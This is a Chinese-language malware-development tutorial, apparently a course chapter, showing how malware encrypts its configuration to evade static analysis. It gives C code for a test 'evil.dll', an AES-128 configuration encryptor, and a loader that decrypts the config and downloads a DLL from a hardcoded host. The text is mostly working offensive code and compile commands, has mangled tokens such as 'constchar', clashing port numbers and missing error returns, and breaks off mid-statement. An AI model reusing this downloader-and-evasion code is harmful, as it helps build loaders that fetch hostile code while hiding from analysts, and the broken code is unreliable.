03-恶意软件常用算法
前面主要是加密字符串信息,加密算法还可以加密shellcode、通信数据包、配置信息等
01-常用加密算法概述
加密配置信息、加密通信信道、加密窃取数据、混淆代码放置静态分析
总体来说就是加密shellcode、代码模块、配置信息、通信等
02-加密配置信息
设置一个场景,恶意dll文件,放在http://192.168.136.131:4455/dll.dll,exe通过配置文件下载
dll代码
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
编译
x86_64-w64-mingw32-g++ -shared -o dll.dll dll.c -fpermissive
配置文件信息
http://192.168.136.131:4445/evil.dll
使用AES-128加密配置文件
#include <windows.h>
#include <wininet.h>
#include <wincrypt.h>
#include <stdio.h>
#define AES_BLOCK_SIZE 16
#define IN_CHUNK_SIZE (AES_BLOCK_SIZE * 10)
#define OUT_CHUNK_SIZE (IN_CHUNK_SIZE * 2)
void encryptFile(const char* inputFile, const char* outputFile, const char* aesKey) {
HCRYPTPROV hCryptProv = 0;
HCRYPTKEY hKey = 0;
HANDLE hInputFile = INVALID_HANDLE_VALUE;
HANDLE hOutputFile = INVALID_HANDLE_VALUE;
// Open input file for reading
hInputFile = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hInputFile == INVALID_HANDLE_VALUE) {
return;
}
// Check file size
LARGE_INTEGER fileSize;
if (!GetFileSizeEx(hInputFile, &fileSize)) {
CloseHandle(hInputFile);
return;
}
// Encrypt only if file size is less than 128MB
if (fileSize.QuadPart > 128 * 1024 * 1024) {
CloseHandle(hInputFile);
return;
}
// Create output file for writing
hOutputFile = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hOutputFile == INVALID_HANDLE_VALUE) {
CloseHandle(hInputFile);
return;
}
// Cryptographic service provider
if (!CryptAcquireContextA(&hCryptProv, NULL, "Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
}
HCRYPTHASH hHash;
if (!CryptCreateHash(hCryptProv, CALG_SHA_256, 0, 0, &hHash)) {
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
}
if (!CryptHashData(hHash, (BYTE*)aesKey, strlen(aesKey), 0)) {
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
}
if (!CryptDeriveKey(hCryptProv, CALG_AES_128, hHash, 0, &hKey)) {
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
}
constsize_t chunk_size = OUT_CHUNK_SIZE;
BYTE* chunk = (BYTE*)malloc(chunk_size);
DWORD out_len = 0;
BOOL isFinal = FALSE;
DWORD readTotalSize = 0;
BOOL bResult = FALSE;
while (bResult = ReadFile(hInputFile, chunk, IN_CHUNK_SIZE, &out_len, NULL)) {
if (0 == out_len) {
break;
}
readTotalSize += out_len;
if (readTotalSize >= fileSize.QuadPart) {
isFinal = TRUE;
}
if (!CryptEncrypt(hKey, (HCRYPTHASH)NULL, isFinal, 0, chunk, &out_len, chunk_size)) {
break;
}
DWORD written = 0;
if (!WriteFile(hOutputFile, chunk, out_len, &written, NULL)) {
break;
}
memset(chunk, 0, chunk_size);
}
if (hKey != 0) {
CryptDestroyKey(hKey);
}
if (hCryptProv != 0) {
CryptReleaseContext(hCryptProv, 0);
}
if (hInputFile != INVALID_HANDLE_VALUE) {
CloseHandle(hInputFile);
}
if (hOutputFile != INVALID_HANDLE_VALUE) {
CloseHandle(hOutputFile);
}
free(chunk);
}
int main() {
constchar *inputFile = "config.txt";
constchar *encryptedFile = "config.txt.aes";
constchar *encryptionKey = "ThisIsASecretKey";
// encrypt configuration file
encryptFile(inputFile, encryptedFile, encryptionKey);
return0;
}
编译
x86_64-w64-mingw32-g++ encrypt.c -o encrypt.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lcrypt32
运行后看加密效果
使用的时候先解密再下载
#include <windows.h>
#include <wininet.h>
#include <wincrypt.h>
#include <stdio.h>
#define AES_BLOCK_SIZE 16
#define IN_CHUNK_SIZE (AES_BLOCK_SIZE * 10)
#define OUT_CHUNK_SIZE (IN_CHUNK_SIZE * 2)
void downloadFile(const char *url, const char *outputFile) {
HINTERNET hSession, hUrl;
DWORD bytesRead, bytesWritten;
BYTE buffer[4096];
// Initialize WinINet
hSession = InternetOpen((LPCSTR)"Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hSession) {
printf("InternetOpen failedn");
}
// Open URL
hUrl = InternetOpenUrlA(hSession, (LPCSTR)url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (!hUrl) {
InternetCloseHandle(hSession);
printf("InternetOpenUrlA failedn");
}
// Open output file for writing
HANDLE hOutputFile = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hOutputFile == INVALID_HANDLE_VALUE) {
InternetCloseHandle(hUrl);
InternetCloseHandle(hSession);
printf("failed to create output filen");
}
// Read data from URL and write to the output file
while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
WriteFile(hOutputFile, buffer, bytesRead, &bytesWritten, NULL);
}
// Cleanup
CloseHandle(hOutputFile);
InternetCloseHandle(hUrl);
InternetCloseHandle(hSession);
}
void decryptFile(const char* inputFile, const char* outputFile, const BYTE* aesKey) {
HCRYPTPROV hCryptProv;
HCRYPTKEY hKey;
HANDLE hInputFile = INVALID_HANDLE_VALUE;
HANDLE hOutputFile = INVALID_HANDLE_VALUE;
DWORD len = strlen((constchar*)aesKey);
DWORD key_size = len * sizeof(aesKey[0]);
// Open input file for reading
hInputFile = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hInputFile == INVALID_HANDLE_VALUE) {
return;
}
// Create output file for writing
hOutputFile = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hOutputFile == INVALID_HANDLE_VALUE) {
return;
}
// Cryptographic service provider
if (!CryptAcquireContextA(&hCryptProv, NULL, "Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
}
HCRYPTHASH hHash;
if (!CryptCreateHash(hCryptProv, CALG_SHA_256, 0, 0, &hHash)) {
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
}
BYTE utf8ByteArray[32];
strcpy((char*)utf8ByteArray, (constchar*)aesKey);
if (!CryptHashData(hHash, utf8ByteArray, key_size, 0)) {
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
return;
}
// HCRYPTKEY hKey;
if (!CryptDeriveKey(hCryptProv, CALG_AES_128, hHash, 0, &hKey)) {
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
return;
}
constsize_t chunk_size = IN_CHUNK_SIZE;
BYTE* chunk = (BYTE*)malloc(chunk_size);
DWORD out_len = 0;
BOOL isFinal = FALSE;
DWORD readTotalSize = 0;
BOOL bResult = FALSE;
DWORD inputSize = GetFileSize(hInputFile, NULL);
while (bResult = ReadFile(hInputFile, (LPVOID)chunk, IN_CHUNK_SIZE, &out_len, NULL)) {
if (0 == out_len) {
break;
}
readTotalSize += out_len;
if (readTotalSize >= inputSize) {
isFinal = TRUE;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, isFinal, 0, chunk, &out_len)) {
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
break;
}
DWORD written = 0;
if (!WriteFile(hOutputFile, chunk, out_len, &written, NULL)) {
CloseHandle(hOutputFile);
break;
}
memset(chunk, 0, chunk_size);
}
if (hKey != 0) {
CryptDestroyKey(hKey);
}
if (hCryptProv != 0) {
CryptReleaseContext(hCryptProv, 0);
}
if (hInputFile != INVALID_HANDLE_VALUE) {
CloseHandle(hInputFile);
}
if (hOutputFile != INVALID_HANDLE_VALUE) {
CloseHandle(hOutputFile);
}
free(chunk);
}
int main() {
constchar *encryptedFile = "config.txt.aes";
constchar *decryptedFile = "decrypted.txt";
constchar *encryptionKey = "ThisIsASecretKey";
// Decrypt configuration file
decryptFile(encryptedFile, decryptedFile, (const BYTE*)encryptionKey);
// Read the URL from the decrypted file
FILE *decryptedFilePtr = fopen(decryptedFile, "r");
if (!decryptedFilePtr) {
printf("failed to open decrypted filen");
}
char url[256];
fgets(url, sizeof(url), decryptedFilePtr);
fclose(decryptedFilePtr);
// Remove newline character if present
size_t urlLength = strlen(url);
if (url[urlLength - 1] == 'n') {
url[urlLength - 1] = '
评论